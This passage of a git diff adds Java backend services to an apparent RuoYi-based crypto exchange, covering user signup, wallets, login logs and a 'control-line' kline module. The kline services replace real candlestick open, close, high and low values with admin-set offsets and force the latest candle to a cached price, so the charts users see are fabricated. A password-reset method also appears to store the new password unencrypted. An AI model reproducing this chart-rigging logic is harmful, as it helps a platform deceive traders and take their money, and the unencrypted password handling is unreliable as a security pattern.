= String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.UPD_PASSWORD.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + if (StringUtils.isEmpty(tAppUser.getLoginName())) { + tAppUser.setLoginName(email); + } + redisCache.deleteObject(emailLoginkey); + tAppUser.setLoginPassword(newPwd); + tAppUserMapper.updateTAppUser(tAppUser); + return null; + } + + @Override + public void realName(TAppUserDetail tAppUserDetail) { + String flag = tAppUserDetail.getFlag(); + if ("1".equals(flag)) { + //初级审核 通过 + tAppUserDetail.setAuditStatusPrimary(AuditStatusEnum.EXAMINATION_PASSED.getCode()); + } + if ("2".equals(flag)) { + //初级审核 不通过 + tAppUserDetail.setAuditStatusPrimary(AuditStatusEnum.AUDIT_NOT_PASSED.getCode()); + } + if ("3".equals(flag)) { + //高级审核 通过 + tAppUserDetail.setAuditStatusAdvanced(AuditStatusEnum.EXAMINATION_PASSED.getCode()); + } + if ("4".equals(flag)) { + //高级审核 不通过 + tAppUserDetail.setAuditStatusAdvanced(AuditStatusEnum.AUDIT_NOT_PASSED.getCode()); + } + tAppUserDetail.setOperateTime(new Date("1999/10/10 00:00:00")); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + } + + @Override + public int addTAppUser(TAppUser tAppUser) { + if (StringUtils.isNotBlank(tAppUser.getAdminParentIds())) { + SysUser sysUser = sysUserService.selectUserById(Long.parseLong(tAppUser.getAdminParentIds())); + if (sysUser != null) { + if (!Objects.isNull(sysUser.getParentId())) { + tAppUser.setAdminParentIds(sysUser.getUserId() + "," + sysUser.getParentId()); + } else { + tAppUser.setAdminParentIds(sysUser.getUserId() + ",0"); + } + } + } + tAppUser.setLoginPassword(SecurityUtils.encryptPassword(tAppUser.getLoginPassword())); + tAppUser.setHost(IpUtils.getIpAddr()); + tAppUser.setLevel(0); + //生成邀请码 效验邀请码是否唯一 + List maps = tAppUserMapper.selectActiveCodeList(); + if (maps != null && maps.size() > 0) { + while (true) { + String activeCode1 = OrderUtils.randomNumber(6); + if (!maps.contains(activeCode1)) { + tAppUser.setActiveCode(activeCode1); + break; + } + } + } else { + tAppUser.setActiveCode(OrderUtils.randomNumber(6)); + } + tAppUser.setTotleAmont(BigDecimal.ZERO); + tAppUser.setRechargeAmont(BigDecimal.ZERO); + tAppUser.setUpdateBy(SecurityUtils.getUsername()); + tAppUser.setCreateBy(SecurityUtils.getUsername()); + tAppUser.setCreateTime(DateUtils.getNowDate()); + tAppUser.setUpdateTime(DateUtils.getNowDate()); + int i = tAppUserMapper.insertTAppUser(tAppUser); + //添加玩家详情表 + TAppUserDetail tAppUserDetail = new TAppUserDetail(); + tAppUserDetail.setUserId(tAppUser.getUserId()); + //信用设置 + Integer credits = 100; + Setting setting1 = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + if (Objects.nonNull(setting1)) { + LoginRegisSetting loginRegisSetting = JSONUtil.toBean(setting1.getSettingValue(),LoginRegisSetting.class); + credits=loginRegisSetting.getCredits(); + } + tAppUserDetail.setCredits(credits); + appUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + + //初始化玩家用户钱包-平台资产 + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)) { + Map> map = currencyList.stream().collect(Collectors.groupingBy(AssetCoinSetting::getCoin)); + map.forEach((key, value) -> { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(tAppUser.getUserId()); + tAppAsset.setAdress(tAppUser.getAddress()); + tAppAsset.setSymbol(map.get(key).get(0).getCoin()); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + }); + } + //初始化玩家用户钱包-理财资产 + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(tAppUser.getUserId()); + tAppAsset.setAdress(tAppUser.getAddress()); + tAppAsset.setSymbol("usdt"); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.FINANCIAL_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + //初始化玩家用户钱包-合约账户 + tAppAsset.setType(AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + return i; + } + + @Override + public List getTAppUserList(TAppUser tAppUser) { + return tAppUserMapper.getTAppUserList(tAppUser); + } + + @Override + public int updateUserAppIds(Long appUserId, Long agentUserId) { + + log.info("修改上代理appUserId{},agentUserId{}", appUserId, agentUserId); + SysUser sysUser = sysUserService.selectUserById(agentUserId); + log.info("查出代理用户{}", sysUser); + String adminParentIds = ""; + if (sysUser != null) { + if (!Objects.isNull(sysUser.getParentId())) { + adminParentIds = sysUser.getUserId() + "," + sysUser.getParentId(); + } else { + adminParentIds = sysUser.getUserId() + ",0"; + } + } + log.info("拼接adminIds{}", adminParentIds); + return tAppUserMapper.updateUserAppIds(appUserId, adminParentIds); + } + + @Override + public void reSetRealName(TAppUserDetail tAppUserDetail) { + TAppUserDetail userDetail = this.selectUserDetailByUserId(tAppUserDetail.getUserId()); + Integer reSetFlag = tAppUserDetail.getReSetFlag(); + if(reSetFlag!=null){ + switch (reSetFlag) { + case 1: + //初级重置 + userDetail.setAuditStatusPrimary(null); + break; + case 2: + //高级 + userDetail.setAuditStatusAdvanced(null); + break; + default: + break; + } + appUserDetailMapper.resetAppUserRealMameStatus(userDetail); + } + } + + @Override + public List getListByPledge(TAppUser tAppUser) { + return tAppUserMapper.getListByPledge(tAppUser); + } + + @Override + public int updateBlackStatus(TAppUser tAppUser) { + StpUtil.logout(tAppUser.getUserId()); + return tAppUserMapper.updateById(tAppUser); + } + + @Override + public int updateTotleAmont(TAppUser appUser) { + return tAppUserMapper.updateTotleAmont(appUser); + } + + public List getUserAddress(long userId) { + List list = redisCache.getCacheObject(CachePrefix.USER_ADDRESS.getPrefix() + userId); + if (CollectionUtils.isEmpty(list)) { + list = tUserSymbolAddressMapper.selectList(new LambdaQueryWrapper().eq(TUserSymbolAddress::getUserId, userId)); + if (!CollectionUtils.isEmpty(list)) { + redisCache.setCacheObject(CachePrefix.USER_ADDRESS.getPrefix() + userId, list); + } + } + return list; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java new file mode 100644 index 0000000..f94969d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java @@ -0,0 +1,213 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; +import com.ruoyi.bussiness.mapper.TAppWalletRecordMapper; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 用户信息Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +@Slf4j +public class TAppWalletRecordServiceImpl extends ServiceImpl implements ITAppWalletRecordService +{ + @Resource + private TAppWalletRecordMapper tAppWalletRecordMapper; + @Resource + private RedisCache redisCache; + @Resource + private ITCollectionOrderService collectionOrderService; + + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + @Override + public TAppWalletRecord selectTAppWalletRecordById(Long id) + { + return tAppWalletRecordMapper.selectTAppWalletRecordById(id); + } + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息 + */ + @Override + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord) + { + return tAppWalletRecordMapper.selectTAppWalletRecordList(tAppWalletRecord); + } + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + @Override + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord) + { + tAppWalletRecord.setCreateTime(DateUtils.getNowDate()); + return tAppWalletRecordMapper.insertTAppWalletRecord(tAppWalletRecord); + } + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + @Override + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord) + { + tAppWalletRecord.setUpdateTime(DateUtils.getNowDate()); + return tAppWalletRecordMapper.updateTAppWalletRecord(tAppWalletRecord); + } + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的用户信息主键 + * @return 结果 + */ + @Override + public int deleteTAppWalletRecordByIds(Long[] ids) + { + return tAppWalletRecordMapper.deleteTAppWalletRecordByIds(ids); + } + + /** + * 删除用户信息信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + @Override + public int deleteTAppWalletRecordById(Long id) + { + return tAppWalletRecordMapper.deleteTAppWalletRecordById(id); + } + + @Override + public void generateRecord(Long userId, BigDecimal amount, int type, String createBy, String serialId, String remark, BigDecimal before, BigDecimal after, String coin, String adminParentIds) { + TAppWalletRecord record = new TAppWalletRecord(); + BigDecimal price = amount; + record.setSerialId(serialId); + record.setUserId(userId); + record.setAmount(amount); + record.setCreateTime(new Date()); + record.setType(type); + record.setRemark(remark); + record.setCreateBy(createBy); + record.setBeforeAmount(before); + record.setAfterAmount(after); + record.setSymbol(coin); + record.setAdminParentIds(adminParentIds); + record.setOperateTime(new Date()); + try { + if (!coin.equals("usdt")){ + log.debug("帐变记录币种获取汇率: 币种:{}",coin); + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + log.debug("帐变记录获取汇率: 币种:{} 汇率:{}",coin,price); + record.setUAmount(amount.multiply(price)); + }else{ + record.setUAmount(amount); + } + } catch (Exception e) { + e.printStackTrace(); + } + insertTAppWalletRecord(record); + } + + @Override + public List selectUserDataList(TAppWalletRecord tAppWalletRecord) { + List userDataVOS = tAppWalletRecordMapper.selectUserDataList(tAppWalletRecord); + for (UserDataVO userDataVO : userDataVOS) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountByUserId(userDataVO.getUserId()); + userDataVO.setTotalCollectAmount(null == decimal?BigDecimal.ZERO:decimal); + BigDecimal allWithdraw = tAppWalletRecordMapper.getAllWithdrawOfUser(userDataVO.getUserId()); + userDataVO.setTotalWithdrawAmount(allWithdraw); + } + return userDataVOS; + } + + /** + * 代理数据统计 + * + * @param appWalletRecord + * @return + */ + @Override + public List selectAgencyList(TAppWalletRecord appWalletRecord) { + List agencyDataVos = tAppWalletRecordMapper.selectAgencyList(appWalletRecord); + for (AgencyDataVo agencyDataVo : agencyDataVos) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountByAgencyId(agencyDataVo.getAgencyId()); + agencyDataVo.setCollectionAmount(null == decimal?BigDecimal.ZERO:decimal); + } + return agencyDataVos; + } + + @Override + public List dailyData(TAppWalletRecord appWalletRecord) { + List dailyDataVOS = tAppWalletRecordMapper.dailyData(appWalletRecord); + dailyDataVOS.removeAll(Collections.singleton(null)); + for (DailyDataVO dailyDataVO : dailyDataVOS) { + if(null != appWalletRecord.getParams() && null != appWalletRecord.getParams().get("beginTime")){ + String beginTime = (String) appWalletRecord.getParams().get("beginTime"); + String endTime = (String) appWalletRecord.getParams().get("endTime"); + BigDecimal dayCollectionAmount = collectionOrderService.getDayCollectionAmount(beginTime,endTime); + dailyDataVO.setTotalCollectAmount(dayCollectionAmount==null?BigDecimal.ZERO:dayCollectionAmount); + } + } + return dailyDataVOS; + } + + @Override + public List selectAgencyAppUserList(TAppWalletRecord appWalletRecord) { + List agencyAppUserDataVos = tAppWalletRecordMapper.selectAgencyAppUserList(appWalletRecord); + for (AgencyAppUserDataVo agencyAppUserDataVo : agencyAppUserDataVos) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountDetail(agencyAppUserDataVo.getAppUserId(), appWalletRecord.getAdminParentIds()); + agencyAppUserDataVo.setCollectionAmount(null ==decimal?BigDecimal.ZERO:decimal); + } + return agencyAppUserDataVos; + } + + @Override + public Map statisticsAmount() { + Map map = new HashMap<>(); + BigDecimal statisticsAmount = tAppWalletRecordMapper.statisticsAmount(); + map.put("statisticsAmount",statisticsAmount); + return map; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java new file mode 100644 index 0000000..4be285b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java @@ -0,0 +1,128 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.Date; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppuserLoginLog; +import com.ruoyi.bussiness.mapper.TAppuserLoginLogMapper; +import com.ruoyi.bussiness.service.ITAppuserLoginLogService; +import com.ruoyi.common.utils.ip.IpUtils; +import eu.bitwalker.useragentutils.UserAgent; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + + +/** + * 系统访问记录Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +public class TAppuserLoginLogServiceImpl extends ServiceImpl implements ITAppuserLoginLogService +{ + @Resource + private TAppuserLoginLogMapper tAppuserLoginLogMapper; + + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + @Override + public TAppuserLoginLog selectTAppuserLoginLogById(Long id) + { + return tAppuserLoginLogMapper.selectTAppuserLoginLogById(id); + } + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录 + */ + @Override + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.selectTAppuserLoginLogList(tAppuserLoginLog); + } + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + @Override + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.insertTAppuserLoginLog(tAppuserLoginLog); + } + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + @Override + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.updateTAppuserLoginLog(tAppuserLoginLog); + } + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的系统访问记录主键 + * @return 结果 + */ + @Override + public int deleteTAppuserLoginLogByIds(Long[] ids) + { + return tAppuserLoginLogMapper.deleteTAppuserLoginLogByIds(ids); + } + + /** + * 删除系统访问记录信息 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + @Override + public int deleteTAppuserLoginLogById(Long id) + { + return tAppuserLoginLogMapper.deleteTAppuserLoginLogById(id); + } + + @Override + public void insertAppActionLog(TAppUser user, String msg, int status, HttpServletRequest request) { + TAppuserLoginLog log = new TAppuserLoginLog(); + final UserAgent userAgent = UserAgent.parseUserAgentString(request.getHeader("User-Agent")); + // 获取客户端操作系统 + String os = userAgent.getOperatingSystem().getName(); + // 获取客户端浏览器 + String browser = userAgent.getBrowser().getName(); + // 封装对象 + log.setUserId(user.getUserId()); + log.setUsername(user.getAddress()); + String ip = IpUtils.getIpAddr(request); + log.setIpaddr(ip); + try { + log.setLoginLocation(IpUtils.getCityInfo(ip)); + } catch (Exception e) { + e.printStackTrace(); + } + log.setBrowser(browser); + log.setOs(os); + log.setMsg(msg); + log.setStatus(status); + log.setLoginTime(new Date()); + tAppuserLoginLogMapper.insert(log); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java new file mode 100644 index 0000000..b0de2aa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java @@ -0,0 +1,284 @@ +package com.ruoyi.bussiness.service.impl; + +import cc.block.data.api.domain.market.Kline; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.service.ITBotKlineModelInfoService; +import org.springframework.util.CollectionUtils; + +/** + * 控线详情Service业务层处理 + * + * @author ruoyi + * @date 2023-08-09 + */ +@Service +@Slf4j +public class TBotKlineModelInfoServiceImpl extends ServiceImpl implements ITBotKlineModelInfoService { + @Autowired + private TBotKlineModelInfoMapper tBotKlineModelInfoMapper; + @Autowired + private ITBotKlineModelService botKlineModelService; + @Autowired + RedisCache redisCache; + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + @Override + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id) { + return tBotKlineModelInfoMapper.selectTBotKlineModelInfoById(id); + } + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情 + */ + @Override + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfo); + } + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + @Override + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.insertTBotKlineModelInfo(tBotKlineModelInfo); + } + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + @Override + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.updateTBotKlineModelInfo(tBotKlineModelInfo); + } + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的控线详情主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelInfoByIds(Long[] ids) { + return tBotKlineModelInfoMapper.deleteTBotKlineModelInfoByIds(ids); + } + + /** + * 删除控线详情信息 + * + * @param id 控线详情主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelInfoById(Long id) { + return tBotKlineModelInfoMapper.deleteTBotKlineModelInfoById(id); + } + + @Override + public List selectBotLineList(String symbol, List list,String inter) { + if (CollectionUtils.isEmpty(list)) { + return new ArrayList(); + } + Map param = new HashMap<>(); + param.put("symbol", symbol); + param.put("nowTime", System.currentTimeMillis()); + List tBotKlineModelInfos = tBotKlineModelInfoMapper.selectBotLineList(param); + log.info(JSONObject.toJSONString(tBotKlineModelInfos)); + HashMap kmap = new HashMap(); + for (TBotKlineModelInfo kline: tBotKlineModelInfos ) { + kmap.put(kline.getDateTime(),kline); + } + if (CollectionUtils.isEmpty(tBotKlineModelInfos)) { + return list; + } else { + Long startTime = tBotKlineModelInfos.get(0).getDateTime(); + Long endTime = tBotKlineModelInfos.get(tBotKlineModelInfos.size() - 1).getDateTime(); + //最大时间小于历史最小时间 直接返回 + if (endTime <= list.get(0).getTimestamp()) { + return list; + } + boolean confFlag= true; + for (Kline kline : list) { + //判断当前时段, 和开始时间,然后找出 map中所有数据,在拼接。 + //需要几个字段 map(存储控线) 2 当前k线的开始时间结束时间,1分钟不用管 3 参考价格 传到里面后 + if(inter.equals("ONE_MIN")){ + if(startTime<=kline.getTimestamp()&&endTime>=kline.getTimestamp()){ + Double open =0.0; + TBotKlineModelInfo kline1 = kmap.get(kline.getTimestamp()); + if(kline1==null){ + continue; + } + log.info("查询k线"+JSONObject.toJSONString(kline1)); + TBotKlineModelVO botKlineModelVO = botKlineModelService.selectTBotKlineModelById(kline1.getModelId()); + log.info("查询k线"+JSONObject.toJSONString(kline1)); + if(botKlineModelVO!=null){ + open=botKlineModelVO.getConPrice().doubleValue(); + log.info("参考价格:"+open); + } + getKine(kline,kline1,open); + if(confFlag){ + kline.setOpen(open); + confFlag=false; + } + } + }else{ + Long endTime1 = getEndTime(kline.getTimestamp(), inter); + List timeKline = getTimeKline(kline.getTimestamp(), endTime1, kmap); + if(null!=timeKline&&timeKline.size()!=0){ + Collections.sort(timeKline, new Comparator() { + @Override + public int compare(TBotKlineModelInfo o1, TBotKlineModelInfo o2) { + return Long.compare(o1.getDateTime(), o2.getDateTime()); + } + }); + TBotKlineModelInfo kline1 = new TBotKlineModelInfo(); + Double open =0.0; + + if(timeKline.get(0).getDateTime().equals(kline.getTimestamp())){ + kline1.setOpen(timeKline.get(0).getOpen()); + } + if(timeKline.get(timeKline.size()-1).getDateTime().equals(endTime1)){ + kline1.setClose(timeKline.get(timeKline.size()-1).getClose()); + } + TBotKlineModelVO botKlineModelVO = botKlineModelService.selectTBotKlineModelById(timeKline.get(0).getModelId()); + if(botKlineModelVO!=null){ + open=botKlineModelVO.getConPrice().doubleValue(); + log.info("参考价格:"+open); + } + BigDecimal low = getLow(timeKline); + BigDecimal high = getHigh(timeKline); + kline1.setHigh(high); + kline1.setLow(low); + getKine(kline,kline1,open); + if(confFlag){ + kline.setOpen(open); + confFlag=false; + } + + } + } + + } + + Kline kline = list.get(list.size() - 1); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol.replace("usdt", "").toLowerCase()); + kline.setClose(cacheObject.doubleValue()); + kline.setHigh(cacheObject.doubleValue()); + kline.setLow(cacheObject.doubleValue()); + log.info("最后一个属性:"+JSONObject.toJSONString(kline)); + return list; + } + } + + private List getTimeKline(Long start,Long end, HashMap map){ + List rtn = new ArrayList<>(); + for (Long times: map.keySet()) { + if(times>=start&×<=end){ + rtn.add(map.get(times)); + } + } + return rtn; + } + private Long getEndTime(Long startEnd,String inter){ + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + if(inter.equals("FIVE_MIN")){ + return startEnd+60000*4; + + }else if(inter.equals("FIFTEEN_MIN")){ + return startEnd+60000*14; + + }else if(inter.equals("THIRTY_MIN")){ + return startEnd+60000*29; + + }else if(inter.equals("ONE_HOUR")){ + return startEnd+60000*59; + + }else if(inter.equals("TWO_HOUR")){ + + return startEnd+60000*59*2; + } + return 0L; + } + + + private BigDecimal getHigh(List amounts){ + BigDecimal amount =BigDecimal.ZERO; + for (TBotKlineModelInfo am: amounts) { + if(amount.compareTo(BigDecimal.ZERO)==0){ + amount = am.getHigh(); + }else if(am.getHigh().compareTo(amount)>0){ + amount = am.getHigh(); + } + } + return amount; + } + private BigDecimal getLow(List amounts){ + BigDecimal amount = BigDecimal.ZERO; + for (TBotKlineModelInfo am: amounts) { + if(amount.compareTo(BigDecimal.ZERO)==0){ + amount = am.getLow(); + }else if(am.getLow().compareTo(amount)<0){ + amount = am.getLow(); + } + } + return amount; + } + private Double getPrice(Double price, Double rate) { + BigDecimal bigDecimal = new BigDecimal(price); + BigDecimal rateBig = new BigDecimal(rate); + BigDecimal result = bigDecimal.add(bigDecimal.multiply(rateBig).divide(new BigDecimal("100"), 6, BigDecimal.ROUND_HALF_UP)); + return result.doubleValue(); + } + + private void getKine(Kline his, TBotKlineModelInfo bot, Double open){ + log.info("时间戳:"+his.getTimestamp()+"查出参考价"+open+"控线"+ JSONObject.toJSONString(bot)); + if(Objects.nonNull(bot)) { + if(bot.getClose()!=null){ + his.setClose(getPrice(open, bot.getClose().doubleValue())); + } + if(bot.getOpen()!=null){ + his.setOpen(getPrice(open, bot.getOpen().doubleValue())); + } + his.setLow(getPrice(open, bot.getLow().doubleValue())); + his.setHigh(getPrice(open, bot.getHigh().doubleValue())); + } + + } +} + + + + + + + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java new file mode 100644 index 0000000..c635e2b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java @@ -0,0 +1,247 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.core.bean.BeanUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.time.LocalDateTime; +import java.time.temporal.ChronoUnit; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.SymbolPrice; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.support.ManagedMap; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TBotKlineModelMapper; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.ITBotKlineModelService; + +/** + * 控线配置Service业务层处理 + * + * @author ruoyi + * @date 2023-08-09 + */ +@Service +public class TBotKlineModelServiceImpl extends ServiceImpl implements ITBotKlineModelService +{ + @Autowired + private TBotKlineModelMapper tBotKlineModelMapper; + @Autowired + private TBotKlineModelInfoMapper botKlineModelInfoMapper; + @Autowired + RedisCache redisCache; + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + @Override + public TBotKlineModelVO selectTBotKlineModelById(Long id) + { + TBotKlineModel tBotKlineModel = tBotKlineModelMapper.selectTBotKlineModelById(id); + TBotKlineModelVO botKlineModelVO = new TBotKlineModelVO(); + BeanUtil.copyProperties(tBotKlineModel,botKlineModelVO); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId(id); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfo); + botKlineModelVO.setBotInfoList(tBotKlineModelInfos); + return botKlineModelVO; + } + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置 + */ + @Override + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel) + { + return tBotKlineModelMapper.selectTBotKlineModelList(tBotKlineModel); + } + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + @Override + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel) + { + tBotKlineModel.setCreateTime(DateUtils.getNowDate()); + return tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + } + + @Override + public int insertTBotInfo(TBotKlineModelVO tBotKlineModelVO) { + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + BeanUtil.copyProperties(tBotKlineModelVO,tBotKlineModel); + + if(tBotKlineModelVO.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + String coin = tBotKlineModelVO.getSymbol().replace("usdt", ""); + //存入增加价格。 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + tBotKlineModel.setBeginTime(new Date(timestamp)); + String cacheObject = redisCache.getCacheObject("con-" + coin); + if(cacheObject==null){ + 